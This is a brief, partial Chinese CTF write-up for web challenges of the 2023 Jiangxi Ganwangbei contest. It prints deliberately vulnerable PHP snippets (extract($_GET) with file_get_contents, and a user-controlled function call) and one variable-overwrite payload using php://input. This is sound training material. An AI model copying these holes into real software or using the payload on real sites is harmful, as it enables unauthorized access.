本文主要是介绍[wp]第四届江西省赣网杯网络安全大赛-web 部分wp,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
第四届江西省赣网杯网络安全大赛(gwb)线上预选赛
因为学业繁忙 只玩了1小时,后续看看补一下这些
2023gwb-web1
九宫格拼图
2023gwb-web2
$file='xxx';extract($_GET);if(isset($fun)){$content=trim(file_get_contents($file));if($fun!=''&$fun==$content){echo 'flag{xxxxx}';}else{echo 'u are not a good hacker';}}
部分参考:
web8--php函数extract()、file_get_contents()、trim()_$c=trim(file_get_contents($filename))-CSDN博客
payload:
GET:?fun=a&file=php://input 下面加个a
2023gwb-web3
<?php
$password = trim($_GET['pass'] ?? '');
$func = trim($_GET['func'] ?? 'hint');
function hint() {show_source(__FILE__);}if (md5($password)==='21c6008facc283f8839d3b9fed640c15') {function youwin() {echo file_get_contents("/flag");}
}$func();
?>
参考:
知识星球2023年10月PHP函数小挑战-CSDN博客
类似
2023gwb-web4
不会 给了phpinfo界面 ,没有其他的 跟隔壁qwb有道题相似
2023gwb-web5
给了附件
链接:https://pan.baidu.com/s/10Wr-tHXu0WrIECrCbyVxHg?pwd=7777 提取码:7777
这篇关于[wp]第四届江西省赣网杯网络安全大赛-web 部分wp的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!